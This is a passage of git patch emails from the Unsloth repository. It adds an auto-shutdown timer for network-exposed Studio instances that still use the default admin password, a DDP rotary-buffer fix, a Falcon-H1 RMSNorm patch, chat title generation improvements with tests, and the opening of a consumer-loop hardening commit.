 create mode 100644 studio/backend/tests/test_bootstrap_timeout.py

diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py
new file mode 100644
index 0000000000..728433dc54
--- /dev/null
+++ b/studio/backend/auth/bootstrap_timeout.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged.
+
+On a fresh install the seeded bootstrap admin password stays a valid login
+credential until first login changes it. When the web UI is put on the network
+(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within
+a deadline, tear Studio down so a fresh, unconfigured instance does not stay
+publicly reachable indefinitely. If the password was changed, Studio keeps
+running.
+
+Scope: web UI launches only (never ``--api-only``, which authenticates by API
+key rather than the admin password, and never Colab). Configurable via
+``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables).
+"""
+
+import os
+import sys
+import threading
+
+BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT"
+DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600
+
+
+def bootstrap_timeout_seconds(env = None) -> int:
+    """Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it.
+
+    A malformed value falls back to the default rather than disabling, so a typo
+    cannot silently remove the protection.
+    """
+    env = os.environ if env is None else env
+    raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR)
+    if raw is None or raw.strip() == "":
+        return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    try:
+        value = int(raw)
+    except ValueError:
+        return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    return value if value > 0 else 0
+
+
+def _is_exposed_bind(host: str, secure: bool) -> bool:
+    """True when this launch puts the web UI on the network (tunnel or non-loopback)."""
+    if secure:
+        return True
+    if host in ("0.0.0.0", "::"):
+        return True
+    try:
+        from utils.host_policy import is_external_host
+    except Exception:
+        return False
+    return bool(is_external_host(host))
+
+
+def should_arm_bootstrap_timeout(
+    *,
+    host: str,
+    secure: bool,
+    api_only: bool,
+    frontend_served: bool,
+    is_colab: bool,
+    requires_change: bool,
+    timeout_seconds: int,
+) -> bool:
+    """Whether to arm the deadline: only for an exposed web UI whose seeded admin
+    password is still unchanged. Pure decision (no I/O) for cheap unit testing."""
+    if timeout_seconds <= 0:
+        return False
+    if api_only or not frontend_served or is_colab:
+        return False
+    if not requires_change:
+        return False
+    return _is_exposed_bind(host, secure)
+
+
+def _format_duration(seconds: int) -> str:
+    """Human-friendly duration for the shutdown message (seconds under a minute)."""
+
+    def _plural(n: int, unit: str) -> str:
+        return f"{n} {unit}{'' if n == 1 else 's'}"
+
+    if seconds < 60:
+        return _plural(seconds, "second")
+    minutes, rem = divmod(seconds, 60)
+    label = _plural(minutes, "minute")
+    if rem:
+        label += f" {_plural(rem, 'second')}"
+    return label
+
+
+def enforce_bootstrap_password_deadline(
+    storage,
+    trigger_shutdown,
+    *,
+    timeout_seconds: int,
+    logger = None,
+) -> bool:
+    """Deadline handler: shut down iff the seeded admin password is still unchanged.
+
+    Returns True if it shut Studio down, False if it left it running (the
+    password was changed in time).
+    """
+    try:
+        still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME)
+    except Exception:
+        return False
+    if not still_default:
+        return False  # password changed in time -> leave Studio running
+
+    message = (
+        "\nUnsloth Studio was exposed on the network but its default admin "
+        f"password was not changed within {_format_duration(timeout_seconds)}. "
+        "Shutting down to avoid leaving an unsecured public instance running.\n"
+        "Next time, sign in and change the password on first login, or set "
+        f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout."
+    )
+    if logger is not None:
+        logger.warning(message)
+    print(message, file = sys.stderr, flush = True)
+    try:
+        trigger_shutdown()
+    except Exception as e:  # shutdown is best-effort; never raise from the timer
+        if logger is not None:
+            logger.warning("Bootstrap-timeout shutdown failed: %s", e)
+    return True
+
+
+def arm_bootstrap_timeout(
+    storage,
+    trigger_shutdown,
+    *,
+    timeout_seconds: int,
+    logger = None,
+) -> "threading.Timer":
+    """Start a daemon timer that enforces the deadline. Returns the Timer."""
+    timer = threading.Timer(
+        timeout_seconds,
+        enforce_bootstrap_password_deadline,
+        args = (storage, trigger_shutdown),
+        kwargs = {"timeout_seconds": timeout_seconds, "logger": logger},
+    )
+    timer.daemon = True
+    timer.start()
+    return timer
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 9cb7868949..d4cbc26b41 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -1199,6 +1199,43 @@ def run_server(
         _graceful_shutdown(_server)
         sys.exit(1)
 
+    # Time-box a freshly-exposed web UI: if nobody changes the seeded admin
+    # password within the deadline (default 1h), shut down rather than leave an
+    # unsecured public instance running. No-op for loopback, --api-only, Colab,
+    # an already-changed password, or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0.
+    try:
+        from auth import storage as _auth_storage
+        from auth.bootstrap_timeout import (
+            arm_bootstrap_timeout,
+            bootstrap_timeout_seconds,
+            should_arm_bootstrap_timeout,
+        )
+
+        _bootstrap_timeout = bootstrap_timeout_seconds()
+        if should_arm_bootstrap_timeout(
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            frontend_served = bool(frontend_path) and not api_only,
+            is_colab = _IS_COLAB,
+            requires_change = _auth_storage.requires_password_change(
+                _auth_storage.DEFAULT_ADMIN_USERNAME
+            ),
+            timeout_seconds = _bootstrap_timeout,
+        ):
+            arm_bootstrap_timeout(
+                _auth_storage,
+                _trigger_shutdown,
+                timeout_seconds = _bootstrap_timeout,
+                logger = logger,
+            )
+            logger.info(
+                "Studio will shut down in %ds unless the default admin password is changed.",
+                _bootstrap_timeout,
+            )
+    except Exception as e:  # best-effort: never block startup on the timeout
+        logger.warning("Bootstrap timeout not armed: %s", e)
+
     if not silent:
         _emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools)
 
diff --git a/studio/backend/tests/test_bootstrap_timeout.py b/studio/backend/tests/test_bootstrap_timeout.py
new file mode 100644
index 0000000000..58d4829215
--- /dev/null
+++ b/studio/backend/tests/test_bootstrap_timeout.py
@@ -0,0 +1,185 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Coverage for the exposed-first-run auto-shutdown deadline.
+
+Tests the env parsing, the pure arm/no-arm decision matrix, and the deadline
+handler (shut down iff the seeded admin password is still unchanged). The
+threading.Timer itself is not exercised; the handler is invoked directly.
+"""
+
+from types import SimpleNamespace
+
+from auth.bootstrap_timeout import (
+    DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS,
+    _format_duration,
+    bootstrap_timeout_seconds,
+    enforce_bootstrap_password_deadline,
+    should_arm_bootstrap_timeout,
+)
+
+
+# ── bootstrap_timeout_seconds ───────────────────────────────────────
+
+
+def test_default_when_unset():
+    assert bootstrap_timeout_seconds(env = {}) == DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+
+
+def test_default_when_empty():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "  "}) == (
+        DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    )
+
+
+def test_explicit_value_parsed():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) == 1800
+
+
+def test_zero_disables():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "0"}) == 0
+
+
+def test_negative_disables():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0
+
+
+def test_invalid_falls_back_to_default():
+    # A typo must keep the protection, not silently disable it.
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"}) == (
+        DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    )
+
+
+# ── should_arm_bootstrap_timeout matrix ─────────────────────────────
+
+
+def _arm_kwargs(**overrides):
+    kwargs = dict(
+        host = "0.0.0.0",
+        secure = False,
+        api_only = False,
+        frontend_served = True,
+        is_colab = False,
+        requires_change = True,
+        timeout_seconds = 3600,
+    )
+    kwargs.update(overrides)
+    return kwargs
+
+
+def test_arm_exposed_wildcard_web_ui():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs()) is True
+
+
+def test_arm_secure_loopback_bind():
+    # --secure forces a loopback bind but exposes a public tunnel.
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) is True
+
+
+def test_no_arm_loopback_bind():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) is False
+
+
+def test_no_arm_api_only():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(api_only = True)) is False
+
+
+def test_no_arm_no_frontend():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(frontend_served = False)) is False
+
+
+def test_no_arm_colab():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(is_colab = True)) is False
+
+
+def test_no_arm_password_already_changed():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(requires_change = False)) is False
+
+
+def test_no_arm_timeout_disabled():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(timeout_seconds = 0)) is False
+
+
+# ── enforce_bootstrap_password_deadline ─────────────────────────────
+
+
+def _fake_storage(requires_change: bool):
+    return SimpleNamespace(
+        DEFAULT_ADMIN_USERNAME = "unsloth",
+        requires_password_change = lambda _username: requires_change,
+    )
+
+
+def test_deadline_shuts_down_when_password_unchanged():
+    calls = []
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        lambda: calls.append("shutdown"),
+        timeout_seconds = 3600,
+    )
+    assert result is True
+    assert calls == ["shutdown"]
+
+
+def test_deadline_keeps_running_when_password_changed():
+    calls = []
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = False),
+        lambda: calls.append("shutdown"),
+        timeout_seconds = 3600,
+    )
+    assert result is False
+    assert calls == []
+
+
+def test_deadline_swallows_shutdown_errors():
+    def _boom():
+        raise RuntimeError("shutdown failed")
+
+    # A failing shutdown must not propagate out of the timer thread.
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        _boom,
+        timeout_seconds = 3600,
+    )
+    assert result is True
+
+
+# ── _format_duration ────────────────────────────────────────────────
+
+
+def test_format_duration_sub_minute_uses_seconds():
+    assert _format_duration(30) == "30 seconds"
+
+
+def test_format_duration_singular_second():
+    assert _format_duration(1) == "1 second"
+
+
+def test_format_duration_exact_minutes():
+    assert _format_duration(60) == "1 minute"
+    assert _format_duration(3600) == "60 minutes"
+
+
+def test_format_duration_minutes_and_seconds():
+    assert _format_duration(90) == "1 minute 30 seconds"
+
+
+def test_shutdown_message_uses_formatted_duration():
+    # The deadline message must reflect the real timeout, not a rounded
+    # "minute(s)" placeholder. Capture the warning via a fake logger.
+    logged = []
+
+    class _Logger:
+        def warning(self, msg, *args):
+            logged.append(msg)
+
+    enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        lambda: None,
+        timeout_seconds = 3600,
+        logger = _Logger(),
+    )
+    assert any("60 minutes" in m for m in logged)
+    assert not any("minute(s)" in m for m in logged)

From a9c8bcf0e1b517071060b456e2cb5d472cf96fd0 Mon Sep 17 00:00:00 2001
From: Abdul Moiz <abdulmoiz3140@gmail.com>
Date: Fri, 26 Jun 2026 13:44:41 +0500
Subject: [PATCH 119/306] Fix DDP crash from CPU-resident rotary inv_freq
 buffer (#6662)

* Fix DDP crash from CPU-resident rotary inv_freq buffer

DistributedDataParallel broadcasts all named buffers regardless of
persistence or device, but Unsloth's RoPE inv_freq buffer is kept on
CPU on purpose (per-GPU cos/sin caches are precomputed instead). That
mismatch crashed multi-GPU DDP training with "No backend type
associated with device type cpu" during _sync_module_states.

Mark inv_freq/short_inv_freq/long_inv_freq buffers as DDP-ignored
instead of moving them to GPU, so they're skipped during the buffer
broadcast without disabling broadcast_buffers for the rest of the
model.

Fixes #6656

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: harden DDP-ignore against private API drift, re-apply after PEFT wrap

- Wrap the private DistributedDataParallel._set_params_and_buffers_to_ignore_for_model
  call in try/except, falling back to setting _ddp_params_and_buffers_to_ignore
  directly so a future PyTorch API change can't block model loading.
- Move _exclude_rope_inv_freq_from_ddp to loader_utils.py (shared by loader.py,
  llama.py, vision.py without circular imports) and call it again after
  get_peft_model wraps the model in a PeftModel, since the rotary buffers'
  fully qualified names change once nested under "base_model.model...".

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 unsloth/models/llama.py        |  4 +++-
 unsloth/models/loader.py       |  3 +++
 unsloth/models/loader_utils.py | 34 ++++++++++++++++++++++++++++++++++
 unsloth/models/vision.py       |  3 ++-
 4 files changed, 42 insertions(+), 2 deletions(-)

diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 2399334983..d5eca8d6df 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -28,7 +28,7 @@ from ._utils import (
     is_bfloat16_supported,
     get_quant_type,
 )
-from .loader_utils import _get_fp8_mode_and_check_settings
+from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
 from ..utils.packing import (
     get_packed_info_from_kwargs,
     mask_packed_sequence_boundaries,
@@ -3049,6 +3049,7 @@ class FastLlamaModel:
                 # Pre-wrapped PEFT model passes through here; still arm the detector so an RL
                 # trainer can reset a compile cache poisoned by a pre-train forward.
                 _unsloth_install_pretrain_detector(model)
+                model = _exclude_rope_inv_freq_from_ddp(model)
                 return model
             else:
                 raise TypeError(
@@ -3404,6 +3405,7 @@ class FastLlamaModel:
         # Detect a stray pre-train forward so train() can drop the torch.compile
         # graph cache it would otherwise poison (see prepare_for_training_mode).
         _unsloth_install_pretrain_detector(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model
 
     @staticmethod
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 75eba2d9f8..562afdd645 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -33,6 +33,7 @@ from transformers import AutoConfig
 from transformers import __version__ as transformers_version
 from peft import PeftConfig, PeftModel
 from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
     _get_fp8_mode_and_check_settings,
     _offline_quantize_to_fp8,
     _tag_model_with_fp8_torchao_config,
@@ -885,6 +886,7 @@ class FastLanguageModel(FastLlamaModel):
             patch_tiled_mlp(model, patch_options_str = patch_tiled_mlp_choice)
 
         model = _fix_rope_inv_freq(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model, tokenizer
 
 
@@ -1822,6 +1824,7 @@ class FastModel(FastBaseModel):
             patch_tiled_mlp(model, patch_options_str = patch_tiled_mlp_choice)
 
         model = _fix_rope_inv_freq(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model, tokenizer
 
 
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index 7000c1587d..d6d6ce877e 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -499,6 +499,40 @@ def _get_fp8_mode_and_check_settings(
     return fp8_mode
 
 
+# Rotary inv_freq buffers are deliberately kept on CPU - Unsloth pre-builds a
+# cos/sin cache per GPU instead (see LlamaRotaryEmbedding.multi_gpu_cos_cached)
+# so the GPU-resident lookup never needs to move the tiny inv_freq tensor itself.
+# torch.nn.parallel.DistributedDataParallel ignores device entirely when it
+# broadcasts buffers across ranks, so a CPU buffer crashes NCCL's
+# _broadcast_coalesced with "No backend type associated with device type cpu".
+# Telling DDP to skip these specific buffers avoids that crash without moving
+# inv_freq to GPU (which would break the per-GPU cache design) and without
+# disabling buffer broadcast for every other module (the user's workaround).
+# Re-run this after wrapping with PEFT too - the buffers' fully qualified
+# names change once they sit under a PeftModel (eg "base_model.model...").
+# https://github.com/unslothai/unsloth/issues/6656
+_ROTARY_INV_FREQ_BUFFER_NAMES = ("inv_freq", "short_inv_freq", "long_inv_freq")
+
+
+def _exclude_rope_inv_freq_from_ddp(model):
+    ignored = list(getattr(model, "_ddp_params_and_buffers_to_ignore", None) or [])
+    for module_name, module in model.named_modules():
+        for buffer_name, _ in module.named_buffers(recurse = False):
+            if buffer_name in _ROTARY_INV_FREQ_BUFFER_NAMES:
+                fqn = f"{module_name}.{buffer_name}" if module_name else buffer_name
+                if fqn not in ignored:
+                    ignored.append(fqn)
+    if ignored:
+        try:
+            from torch.nn.parallel import DistributedDataParallel
+            DistributedDataParallel._set_params_and_buffers_to_ignore_for_model(model, ignored)
+        except Exception:
+            # Private PyTorch API - fall back to setting the attribute DDP reads
+            # directly if it ever moves or changes signature.
+            model._ddp_params_and_buffers_to_ignore = ignored
+    return model
+
+
 # =============================================================================
 # Offline loading - single source of truth (shared by vision.py, loader.py and
 # the Studio exporter). Decide offline ONCE at the load boundary and force it
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index c72c1af4b1..39004b4d45 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -40,7 +40,7 @@ from ._utils import (
     set_task_config_attr,
 )
 from ._utils import *
-from .loader_utils import _get_fp8_mode_and_check_settings
+from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
 from ..save import patch_saving_functions
 from ..models.loader_utils import is_distributed
 from unsloth_zoo.gradient_checkpointing import (
@@ -1741,6 +1741,7 @@ class FastBaseModel:
         # Detect a stray pre-train forward so train() can drop the torch.compile
         # graph cache it would otherwise poison (see prepare_for_training_mode).
         _unsloth_install_pretrain_detector(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model
 
     @staticmethod

From 3e43ed7b4afc42fe2afa295dd64c97ea9de64d77 Mon Sep 17 00:00:00 2001
From: Anmol Mishra <anmolxlight@gmail.com>
Date: Fri, 26 Jun 2026 14:15:36 +0530
Subject: [PATCH 120/306] Patch FalconH1RMSNorm to fix float64 compilation
 crash on Intel Arc DG2 (#6691)

* Patch FalconH1RMSNorm to fix float64 compilation on Intel Arc DG2

Fixes unslothai/unsloth#6555

Root cause: FalconH1RMSNorm.forward() does hidden_states.pow(2).mean().rsqrt()
with self.variance_epsilon being a Python float64. When torch.compile fuses
this pattern into the auto-generated Triton kernel
'triton_per_fused__to_copy_mean_mul_pow_rsqrt_*', the float64 epsilon causes
type promotion to double. Intel Arc DG2 GPUs do not support double precision
(Double type is not supported on this platform).

The existing patch_rms_layernorm() only patches LlamaRMSNorm, not the
separate FalconH1RMSNorm class in transformers.models.falcon_h1.

Fix: add Unsloth_FalconH1RMSNorm that delegates to fast_rms_layernorm
(@torch.compiler.disable, handles epsilon as tl.float32), and call the
patch in FastFalconH1Model.pre_patch() before model creation.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Condense FalconH1RMSNorm patch comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 unsloth/models/falcon_h1.py | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/unsloth/models/falcon_h1.py b/unsloth/models/falcon_h1.py
index b940c95c68..05bfd2ebb3 100644
--- a/unsloth/models/falcon_h1.py
+++ b/unsloth/models/falcon_h1.py
@@ -37,6 +37,8 @@ try:
         FalconH1DecoderLayer,
         FalconH1Model,
         FalconH1ForCausalLM,
+        FalconH1RMSNorm,
+        FalconH1RMSNormGated,
         FalconHybridMambaAttentionDynamicCache,
     )
 except:
@@ -677,6 +679,18 @@ def fix_prepare_inputs_for_generation(module):
         module.prepare_inputs_for_generation = _fast_prepare_inputs_for_generation
 
 
+class Unsloth_FalconH1RMSNorm(FalconH1RMSNorm):
+    """fast_rms_layernorm (compiler-disabled, fp32 eps) avoids the float64 torch.compile RMSNorm kernel that fails on Intel Arc DG2 (issue #6555)."""
+
+    def forward(self, hidden_states):
+        return fast_rms_layernorm(self, hidden_states, gemma = False)
+
+
+def patch_falcon_h1_rms_layernorm():
+    import transformers.models.falcon_h1.modeling_falcon_h1
+    transformers.models.falcon_h1.modeling_falcon_h1.FalconH1RMSNorm = Unsloth_FalconH1RMSNorm
+
+
 class FastFalconH1Model(FastLlamaModel):
     @staticmethod
     def pre_patch():
@@ -708,6 +722,8 @@ class FastFalconH1Model(FastLlamaModel):
         transformers.models.falcon_h1.modeling_falcon_h1.FalconH1RotaryEmbedding = (
             LlamaRotaryEmbedding
         )
+        # Avoids the float64 RMSNorm compile kernel that fails on Intel Arc DG2 (issue #6555).
+        patch_falcon_h1_rms_layernorm()
         return
 
     @staticmethod

From e9c6364e1ed8e16c2c3ccbf7a8ec7ecc139559b5 Mon Sep 17 00:00:00 2001
From: Matt Van Horn <mvanhorn@users.noreply.github.com>
Date: Fri, 26 Jun 2026 01:55:59 -0700
Subject: [PATCH 121/306] feat: improve Unsloth Studio chat title generation
 quality (#6697)

* feat: improve Unsloth Studio chat title generation quality

* fix: address self-review (guard echoed role labels before punctuation stripping)

* Address title generation review feedback

Consolidate the echo guard into a single leading-label check (now also
covering base and lora) and drop the post-punctuation duplicate that
could never match a colon once punctuation is stripped. Swap the
slice-based first-assistant lookup for an indexed find to avoid copying
the messages array, and note the brace counter's assumptions in the
test helper.

---------

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
---
 .../src/features/chat/runtime-provider.tsx    |  28 +++--
 tests/studio/test_chat_title_generation.py    | 115 ++++++++++++++++++
 2 files changed, 136 insertions(+), 7 deletions(-)
 create mode 100644 tests/studio/test_chat_title_generation.py

diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index fbaa4400ed..360e081f0f 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -427,26 +427,32 @@ function extractTextParts(m: ThreadMessage | undefined): string {
 
 async function generateTitleWithModel(payload: {
   userText: string;
+  assistantText?: string;
 }): Promise<string | null> {
   const params = useChatRuntimeStore.getState().params;
   if (!params.checkpoint) return null;
 
   const user = clip(payload.userText, 256);
-  const parts: string[] = [user];
+  const assistant = clip(payload.assistantText ?? "", 384);
+  const parts: string[] = [`User: ${user}`];
+  if (assistant) {
+    parts.push(`Assistant: ${assistant}`);
+  }
 
   function normalizeTitle(raw: string): string | null {
     let title = raw.split(/\r?\n/, 1)[0] ?? "";
     title = title.replace(/^\s*title\s*:\s*/i, "");
     title = title.replace(/[^\x20-\x7E]+/g, " ");
     title = title.replace(/["'`]+/g, "");
-    title = title.replace(/[.!?:;,]+/g, " ");
-    title = title.replace(/\s+/g, " ").trim();
 
-    // Model echo fail-safe.
-    if (/\b(user|base|lora|assistant)\s*:/i.test(title)) {
+    // Echo fail-safe: reject leading role labels before punctuation strips the ":".
+    if (/^\s*(user|assistant|base|lora)\s*:/i.test(title)) {
       return null;
     }
 
+    title = title.replace(/[.!?:;,]+/g, " ");
+    title = title.replace(/\s+/g, " ").trim();
+
     const words = title.split(" ").filter(Boolean).slice(0, 6);
     const joined = words.join(" ").trim();
     if (!joined) return null;
@@ -468,7 +474,7 @@ async function generateTitleWithModel(payload: {
         {
           role: "system",
           content:
-            "Write 1 concise chat title for the user's message. Rules: 2-6 words, no quotes, no punctuation, ASCII only, do not echo input. Output title only.",
+            "Write 1 concise chat title summarizing the conversation topic, not the user's exact wording. Use the assistant reply as context when provided. Rules: 2-6 words, no quotes, no punctuation, ASCII only, do not echo input. Output title only.",
         },
         { role: "user", content: parts.join("\n") },
       ],
@@ -730,8 +736,15 @@ function createStudioDbAdapter(
         return streamTitle(thread.title);
       }
 
-      const firstUser = messages.find((m) => m.role === "user");
+      const firstUserIndex = messages.findIndex((m) => m.role === "user");
+      const firstUser =
+        firstUserIndex === -1 ? undefined : messages[firstUserIndex];
+      const firstAssistant =
+        firstUserIndex === -1
+          ? undefined
+          : messages.find((m, i) => m.role === "assistant" && i > firstUserIndex);
       const userText = extractTextParts(firstUser) || defaultTitle;
+      const assistantText = extractTextParts(firstAssistant);
 
       if (!autoTitle) {
         const title = fallbackTitleFromUserText(userText);
@@ -769,6 +782,7 @@ function createStudioDbAdapter(
         const title =
           (await generateTitleWithModel({
             userText,
+            assistantText,
           })) || fallbackTitleFromUserText(userText);
 
         await persistTitle(title);
diff --git a/tests/studio/test_chat_title_generation.py b/tests/studio/test_chat_title_generation.py
new file mode 100644
index 0000000000..4f82b4ec03
--- /dev/null
+++ b/tests/studio/test_chat_title_generation.py
@@ -0,0 +1,115 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression checks for Studio chat title generation context."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+RUNTIME_TSX = REPO / "studio/frontend/src/features/chat/runtime-provider.tsx"
+
+
+def _source_until(src: str, anchor: str, end_anchor: str) -> str:
+    start = src.find(anchor)
+    assert start != -1, f"anchor {anchor!r} not found"
+    end = src.find(end_anchor, start)
+    assert end != -1, f"end anchor {end_anchor!r} not found"
+    return src[start:end]
+
+
+def _balanced_block(src: str, anchor: str) -> str:
+    # Brace-counting only; assumes no unbalanced braces in strings, regexes, or comments.
+    start = src.find(anchor)
+    assert start != -1, f"anchor {anchor!r} not found"
+    body_start = src.find("{", start)
+    assert body_start != -1, f"body opener after {anchor!r} not found"
+
+    depth = 0
+    for index in range(body_start, len(src)):
+        char = src[index]
+        if char == "{":
+            depth += 1
+        elif char == "}":
+            depth -= 1
+            if depth == 0:
+                return src[start : index + 1]
+    raise AssertionError(f"unbalanced block after {anchor!r}")
+
+
+def test_title_model_prompt_targets_conversation_topic():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert "conversation topic" in block
+    assert "not the user's exact wording" in block
+    assert "Use the assistant reply as context when provided" in block
+    assert "Rules: 2-6 words" in block
+
+
+def test_title_model_payload_includes_optional_assistant_reply():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert "assistantText?: string;" in block
+    assert 'const assistant = clip(payload.assistantText ?? "", 384);' in block
+    assert "const parts: string[] = [`User: ${user}`];" in block
+    assert "if (assistant)" in block
+    assert "parts.push(`Assistant: ${assistant}`);" in block
+    assert 'parts.join("\\n")' in block
+
+
+def test_generate_title_passes_first_assistant_reply_after_first_user():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+
+    assert 'const firstUserIndex = messages.findIndex((m) => m.role === "user");' in block
+    assert '.find((m, i) => m.role === "assistant" && i > firstUserIndex)' in block
+    assert "const assistantText = extractTextParts(firstAssistant);" in block
+    assert "generateTitleWithModel({" in block
+    assert "userText," in block
+    assert "assistantText," in block
+
+
+def test_auto_title_disabled_uses_deterministic_user_text_fallback():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+    auto_title_off = _balanced_block(block, "if (!autoTitle)")
+
+    assert "fallbackTitleFromUserText(userText)" in auto_title_off
+    assert "generateTitleWithModel" not in auto_title_off
+
+
+def test_model_failure_still_falls_back_to_user_text():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+
+    assert "})) || fallbackTitleFromUserText(userText);" in block
+
+
+def test_title_normalizer_still_enforces_output_constraints():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert r'replace(/[^\x20-\x7E]+/g, " ")' in block
+    assert 'replace(/["\'`]+/g, "")' in block
+    assert 'replace(/[.!?:;,]+/g, " ")' in block
+    assert 'title.split(" ").filter(Boolean).slice(0, 6)' in block
+    assert "joined.length > 60" in block

From 2ef394137aef657f9578aab57813361366e72c17 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 03:31:33 -0700
Subject: [PATCH 122/306] Studio: harden background consumer loops and
 streaming paths against silent UI freezes (#6653)

* Studio: harden the data-recipe and inference consumer loops against pump death

Follow-up to #6643. The same single-unsupervised-consumer pattern the training
pump had lives in two sibling loops, with the same failure mode: one bad event
kills the only thread that updates the in-memory state every UI surface reads,
while the worker subprocess keeps running.

- data_recipe JobManager._pump_loop: a malformed worker log line that makes
  parse_log_message raise no longer kills the pump. Guard _handle_event, the
  queue read, and the worker-exit finalize, and broaden _drain_queue so a drain
  error still finalizes the job instead of leaving it wedged "active" (which also
  leaked the workflow-scoped API key until its 24h expiry).
- inference InferenceOrchestrator._dispatcher_loop: guard the routing body so a
  malformed response or a mailbox put error can't kill the dispatcher and hang
